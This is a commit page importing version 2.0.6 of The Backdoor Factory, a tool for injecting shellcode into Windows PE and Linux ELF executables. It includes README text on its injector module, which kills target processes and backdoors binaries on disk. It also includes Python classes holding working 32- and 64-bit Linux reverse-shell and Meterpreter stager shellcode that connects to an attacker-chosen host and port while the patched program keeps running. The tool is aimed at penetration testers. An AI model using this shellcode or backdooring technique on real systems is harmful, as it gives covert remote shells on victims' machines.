Commit fb9c978f authored by Devon Kearns's avatar Devon Kearns

Imported Upstream version 2.0.6

parent 89232014
##The Backdoor Factory
For security professionals and researchers only.
Many thanks to Ryan O'neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.
I learned a ton about the ELF format. The first frustrating thing I noticed were the lack of code caves in debian builds. However, you don't really need them. See the link above, circa 1998. The look and feel to the user will be no different for ELF binaries, just point the tool at them as you have for PE bins.
From DerbyCon:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
......@@ -9,9 +18,9 @@ From DerbyCon:
Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Injects shellcode into win32/64 PE files, to continue normal file execution (if the shellcode supports it), by patching the exe/dll directly.
Injects shellcode into win32/64 PE and linux32/64 ELF Files, to continue normal file execution (if the shellcode supports it), by patching the exe/dll directly.
Some executables have built in protections, as such this will not work on all PE files. It is advisable that you test target PE files before deploying them to clients or using them in exercises.
Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises.
Recently tested on all 32/64bit Sysinternal tools and Chrome browser.
---
......@@ -208,7 +217,7 @@ File bd.psexec.exe is in current directory
...output too long for README...
---
###Hunt and backdoor: Injector
###Hunt and backdoor: Injector | Windows Only
The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.
......
This source diff could not be displayed because it is too large. You can view the blob instead.
This diff is collapsed.
'''
Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
Copyright (C) 2013,2014, Joshua Pitts
License: GPLv3
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
See <http://www.gnu.org/licenses/> for a copy of the GNU General
Public License
Currently supports win32/64 PE and linux32/64 ELF only(intel architecture).
This program is to be used for only legal activities by IT security
professionals and researchers. Author not responsible for malicious
uses.
'''
import struct
import sys
class linux_elfI32_shellcode():
"""
Linux ELFIntel x32 shellcode class
"""
def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None):
#could take this out HOST/PORT and put into each shellcode function
self.HOST = HOST
self.PORT = PORT
self.e_entry = e_entry
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.shellcode = ""
self.stackpreserve = "\x90\x90\x60\x9c"
self.stackrestore = "\x9d\x61"
def pack_ip_addresses(self):
hostocts = []
if self.HOST is None:
print "This shellcode requires a HOST parameter -H"
sys.exit(1)
for i, octet in enumerate(self.HOST.split('.')):
hostocts.append(int(octet))
self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],
hostocts[2], hostocts[3])
return self.hostip
def returnshellcode(self):
return self.shellcode
def reverse_shell_tcp(self, CavesPicked={}):
"""
Modified metasploit linux/x64/shell_reverse_tcp shellcode
to correctly fork the shellcode payload and contiue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
sys.exit(1)
self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07"
#will need to put resume execution shellcode here
self.shellcode1 += "\xbd"
self.shellcode1 += struct.pack("<I", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68")
#HOST
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += "\x68\x02\x00"
#PORT
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += ("\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80")
self.shellcode = self.shellcode1
return (self.shellcode1)
def reverse_tcp_stager(self, CavesPicked={}):
"""
FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit linux/x64/shell/reverse_tcp shellcode
to correctly fork the shellcode payload and contiue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
sys.exit(1)
self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07"
#will need to put resume execution shellcode here
self.shellcode1 += "\xbd"
self.shellcode1 += struct.pack("<I", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x97\x5b\x68")
#HOST
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += "\x68\x02\x00"
#PORT
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += ("\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10"
"\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b"
"\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1")
self.shellcode = self.shellcode1
return (self.shellcode1)
def user_supplied_shellcode(self, CavesPicked={}):
"""
For user with position independent shellcode from the user
"""
if self.SUPPLIED_SHELLCODE is None:
print "[!] User must provide shellcode for this module (-U)"
sys.exit(0)
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x07"
#will need to put resume execution shellcode here
self.shellcode1 += "\xbd"
self.shellcode1 += struct.pack("<I", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return (self.shellcode1)
'''
Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
Copyright (C) 2013,2014, Joshua Pitts
License: GPLv3
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
See <http://www.gnu.org/licenses/> for a copy of the GNU General
Public License
Currently supports win32/64 PE and linux32/64 ELF only(intel architecture).
This program is to be used for only legal activities by IT security
professionals and researchers. Author not responsible for malicious
uses.
'''
import struct
import sys
class linux_elfI64_shellcode():
"""
ELF Intel x64 shellcode class
"""
def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None):
#could take this out HOST/PORT and put into each shellcode function
self.HOST = HOST
self.PORT = PORT
self.e_entry = e_entry
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.shellcode = ""
def pack_ip_addresses(self):
hostocts = []
if self.HOST is None:
print "This shellcode requires a HOST parameter -H"
sys.exit(1)
for i, octet in enumerate(self.HOST.split('.')):
hostocts.append(int(octet))
self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],
hostocts[2], hostocts[3])
return self.hostip
def returnshellcode(self):
return self.shellcode
def reverse_shell_tcp(self, flItms, CavesPicked={}):
"""
Modified metasploit linux/x64/shell_reverse_tcp shellcode
to correctly fork the shellcode payload and contiue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
sys.exit(1)
#64bit shellcode
self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
self.shellcode1 += "\x48\xBD"
self.shellcode1 +=struct.pack("<Q", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += ("\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
"\x48\x97\x48\xb9\x02\x00")
#\x22\xb8"
#"\x7f\x00\x00\x01
self.shellcode1 += struct.pack("!H", self.PORT)
#HOST
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += ("\x51\x48\x89"
"\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62"
"\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05")
self.shellcode = self.shellcode1
return (self.shellcode1)
def reverse_tcp_stager(self, flItms, CavesPicked={}):
"""
FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit linux/x64/shell/reverse_tcp shellcode
to correctly fork the shellcode payload and contiue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
sys.exit(1)
#64bit shellcode
self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
self.shellcode1 += "\x48\xBD"
self.shellcode1 +=struct.pack("<Q", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += ("\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x56\x50\x6a\x29\x58\x99\x6a"
"\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48\xb9\x02\x00")
self.shellcode1 += struct.pack("!H", self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += ("\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f"
"\x05\x59\x5e\x5a\x0f\x05\xff\xe6")
self.shellcode = self.shellcode1
return (self.shellcode1)
def user_supplied_shellcode(self, flItms, CavesPicked={}):
"""
FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit linux/x64/shell/reverse_tcp shellcode
to correctly fork the shellcode payload and contiue normal execution.
"""
if self.SUPPLIED_SHELLCODE is None:
print "[!] User must provide shellcode for this module (-U)"
sys.exit(0)
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
#64bit shellcode
self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
self.shellcode1 += "\x48\xBD"
self.shellcode1 += struct.pack("<Q", self.e_entry)
self.shellcode1 += "\xff\xe5"
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return (self.shellcode1)
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
'''
Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
Copyright (C) 2013,2014, Joshua Pitts
License: GPLv3
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
See <http://www.gnu.org/licenses/> for a copy of the GNU General
Public License
Currently supports win32/64 PE and linux32/64 ELF only(intel architecture).
This program is to be used for only legal activities by IT security
professionals and researchers. Author not responsible for malicious
uses.
'''
def eat_code_caves(flItms, caveone, cavetwo):
try:
if flItms['CavesPicked'][cavetwo][0] == flItms['CavesPicked'][caveone][0]:
return int(flItms['CavesPicked'][cavetwo][1], 16) - int(flItms['CavesPicked'][caveone][1], 16)
else:
caveone_found = False
cavetwo_found = False
forward = True
windows_memoffset_holder = 0
for section in flItms['Sections']:
if flItms['CavesPicked'][caveone][0] == section[0] and caveone_found is False:
caveone_found = True
if cavetwo_found is False:
windows_memoffset_holder += section[1] + 4096 - section[1] % 4096 - section[3]
forward = True
continue
if section[1] % 4096 == 0:
continue
break
if flItms['CavesPicked'][cavetwo][0] == section[0] and cavetwo_found is False:
cavetwo_found = True
if caveone_found is False:
windows_memoffset_holder += -(section[1] + 4096 - section[1] % 4096 - section[3])
forward = False
continue
if section[1] % 4096 == 0:
continue
break
if caveone_found is True or cavetwo_found is True:
if section[1] % 4096 == 0:
continue
if forward is True:
windows_memoffset_holder += section[1] + 4096 - section[1] % 4096 - section[3]
if forward is False:
windows_memoffset_holder += -(section[1] + 4096 - section[1] % 4096 - section[3])
continue
#Need a way to catch all the sections in between other sections
return int(flItms['CavesPicked'][cavetwo][1], 16) - int(flItms['CavesPicked'][caveone][1], 16) + windows_memoffset_holder
except Exception as e:
#print "EAT CODE CAVE", str(e)
return 0
\ No newline at end of file
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment